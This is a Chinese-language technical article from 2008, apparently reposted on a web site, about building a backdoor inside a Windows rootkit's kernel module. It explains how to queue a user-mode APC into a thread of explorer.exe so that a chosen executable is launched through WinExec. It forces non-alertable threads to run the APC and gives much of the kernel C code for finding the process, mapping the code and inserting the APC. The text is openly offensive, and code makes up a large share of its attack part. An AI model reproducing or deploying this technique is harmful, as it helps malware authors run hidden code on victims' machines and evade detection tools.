浅谈Rootkit如何在内核模式实现后门隐藏
2008-11-11 13:31:12 来源:WEB开发网很多人对Rootkit感兴趣,Rootkit技术已经用于很多流氓软件中,杀毒软件开始重视Rootkit。很多Rootkit所做的主要工作是在内核态做手脚来隐藏攻击者的后门。那么相应就有很多检测工具来检测隐藏的进程与线程。
有没有办法在Rootkit的内核模块里就实现一个完整的后门,提供一个CMD出来呢?这样就免去了隐藏进程所带来的风险。
NT Rootkit试图这么做过,不知道什么原因这个功能并没有开发完成。这涉及到一个问题,如何从内核态来执行用户态代码。
关于这个话题有人很早就已经研究了,但是目前还没有成熟的、公开源码的后门使用这样的技术。也许觉得这很神秘?其实不然。Rootkit.com上的valerino就提到过用APC的方法来CreateProcess。
如果对Windows操作系统有深入的了解,那么很快你可以想到一个函数:KeUserModeCallback;如果你对linux也比较了解,你会知道一个宏:move_to_user_mode。他们两个实质都是使用中断返回的方式执行到了用户态代码。
但这会带来一些问题,他们都只能让你的代码运行在当前线程,以及如何触发他们?
你也许会想到Windows的APC,它可以让代码运行在一个你任意制定的线程环境中。然而APC常常为系统所用(比如I/O Manager),通常的开发人员是不会去接触这个东西,所以相应的文档资料就少得可怜。
APC(Asynchronous Procedure Call) --- 异步过程调用
APC的精确定义我不太明确,通过它的行为,可以这样理解:将一个内核过程插入到一个线程队列等待执行,相当于强行插入到特定线程上下文中去执行的一段代码。
系统中存在三种APC:
普通内核APC:它们可以插入内核线程,它们在那个内核线程没有执行其他APC的时候执行。
特定内核APC:基本上和上面的一样。但它们运行在APC_LEVEL中断级,而且不能被阻塞,除非它们运行在更高的中断级。它们可抢占普通内核APC的执行。
用户态APC:这种APC只能插入到一个用户线程中,这个线程必须事先调用一个等待函数比如WaitForSingleObject而且将Alertable置为TRUE。下一次线程从内核返回的时候,这个APC就得以执行。这就是我们要利用的APC了。
创建进程
我们创建进程的思路如下:
1.遍历系统进程列表,找到explore.exe。explore.exe是桌面交互进程,一般来说Windows里面都存在,而且它里面处于Wait状态的线程很多(可以用sysinternals的工具ProcessExplorer查看进程中的线程信息,当然线程有alertable的也有non-alertable的,后面将在代码看到他们如何处理)。explore.exe就是我们插入APC的良好宿主。
2.一旦我们找到了explore.exe,我们需要在里面找到一个alertable的线程。如果找不到,我们就将代码指针保存在一个non-alertable的线程中,将它ApcState.UserApcPending设置为TRUE,这样就将此线程设置为alertable的了。
3.我们事先得到explore进程的Eprocess指针,还有它其中一个线程的Ethread指针。接下来我们就将我们的APC对象(包含我们要在用户态执行的代码)插入线程的APC队列,然后在它执行完的时候,我们释放为这个APC分配的内存资源。
而我所指的"我们要在用户态执行的代码",就是在用户态创建一个特定的进程。APC被执行的时,这个用户态进程就被创建了。
要在用户态执行的代码为RunProcess(LPSTR lpProcess),其中lpProcess参数就是要创建的进程EXE文件所在的绝对路径。
voidRunProcess(LPSTRlpProcess) { PEPROCESSpTargetProcess=NULL; PKTHREADpTargetThread=NULL; PKTHREADpNotAlertableThread=NULL; PEPROCESSpSystemProcess=NULL; PETHREADpTempThread=NULL; PLIST_ENTRYpNextEntry,pListHead,pThNextEntry; //... } |
首先我们获得"System"进程的Eprocess指针。
pSystemProcess=PsGetCurrentProcess(); //运行在PASSIVE_LEVEL中断级 |
pSystemProcess->ActiveProcessLinks是一个LIST_ENTRY 结构,这个链表里面含有指向其他活动进程Eprocess的指针(我们通常所说的"活动进程链表")。我们可以在里面获得explore.exe进程的Eprocess以及它里面的一个线程Ethread。(理论上可以用任何进程,但实际情况,插入APC很可能让CSRSS,SVCHOST进程Crash)。找到目标后,我们就可以插入我们的APC了
if(!pTargetThread) { //没有找到alertable线程,那么找一个non-alertable的 pTargetThread=pNotAlertableThread; } if(pTargetThread) { DbgPrint("KernelExec->Targetedthread:0x%p", pTargetThread); //得到了目标线程,插入APC InstallUserModeApc(lpProcess, pTargetThread, pTargetProcess); } InstallUserModeApc原型: CODENTSTATUS InstallUserModeApc( INLPSTRlpProcess, INPKTHREADpTargetThread, INPEPROCESSpTargetProcess); |
其中pTargetProcess是目标进程explore.exe的Eprocess指针,pTargetThread是我们的APC即将插入的线程KTHREAD指针。接着我们就为APC和映射我们代码的内存描述表(MDL)分配内存:
PRKAPCpApc=NULL; PMDLpMdl=NULL; ULONGdwSize=0;//我们要执行的代码尺寸 pApc=ExAllocatePool(NonPagedPool,sizeof(KAPC)); dwSize=(unsignedchar*)ApcCreateProcessEnd- (unsignedchar*)ApcCreateProcess; pMdl=IoAllocateMdl(ApcCreateProcess,dwSize,FALSE,FALSE,NULL); //查找可写内存页面,并将其Lock,不会产生页交换. MmProbeAndLockPages(pMdl,KernelMode,IoWriteAccess); |
这样我的APC就准备好了,pMdl驻留在内存中,映射到我们的用户态代码(就是ApcCreateProcess()。如果Explore.exe没有访问内核区域的权限,它怎么能调用我们的APC例程呢?
KAPC_STATEApcState; //附着到Explore.exe的进程空间 KeStackAttachProcess(&(pTargetProcess->Pcb),&ApcState); //将我们的代码物理页面映射到进程空间 pMappedAddress= MmMapLockedPagesSpecifyCache(pMdl, UserMode, MmCached, NULL,FALSE, NormalPagePriority); |
我们来看看我们的APC代码,它将映射到Explorer的进程地址空间。
将WinExec函数的地址装载入EAX寄存器,(0x7C86136D是在WinXp SP2上取得的地址),我们将参数2(SW_SHOWNORMAL)压入堆栈,然后0xabcd,然后call。0xabcd是WinExec()的第一个参数,它指向WinExec执行的程序。
因为WinExec不能访问那个地址,它将导致一个内存访问异常。不能从用户态访问一个内核地址。那么,在我们映射我们的代码到用户态地址中以后,我们就将这个lpProcess地址copy到第一个nop指令后面。以下是这些动作的代码:
ULONG*data_addr=0;//用来存贮我们ApcCreateProcess例程中push指令后面的地址 ULONGdwMappedAddress=0; pMappedAddress= MmMapLockedPagesSpecifyCache(pMdl, UserMode, MmCached, NULL,FALSE, NormalPagePriority); dwMappedAddress=(ULONG)pMappedAddress; //腾位置,清零. memset((unsignedchar*)pMappedAddress+0x14,0,300); //CopylpProcess,即我们要执行的exe文件地址的字符串,到映射的内存空间 memcpy((unsignedchar*)pMappedAddress+0x14, lpProcess, strlen(lpProcess)); data_addr=(ULONG*)((char*)pMappedAddress+0x9);//(参数0xabcd原来的位置) *data_addr=dwMappedAddress+0x14;//指向我们的想要执行的exe路径字符串. //完成,,Attach后记得Detach. KeUnstackDetachProcess(&ApcState); |
现在要做的就只是初始化我们的APC然后插入目标线程。
//初始化APC KeInitializeApc(pApc, pTargetThread, OriginalApcEnvironment, &ApcKernelRoutine, NULL, pMappedAddress, UserMode, NULL); //插入APC队列 KeInsertQueueApc(pApc,0,NULL,0); //若是non-alertable线程 if(!pTargetThread->ApcState.UserApcPending) { //置为alertable pTargetThread->ApcState.UserApcPending=TRUE; } returnSTATUS_SUCCESS; } |
东西很多,讲得有些杂。推荐大家去看看《Rootkit - Subverting the Windows》这本书。虽然那讲得很多东西有些过时,但是作为一个对Rootkit的基本了解还是很有帮助。
更多精彩
赞助商链接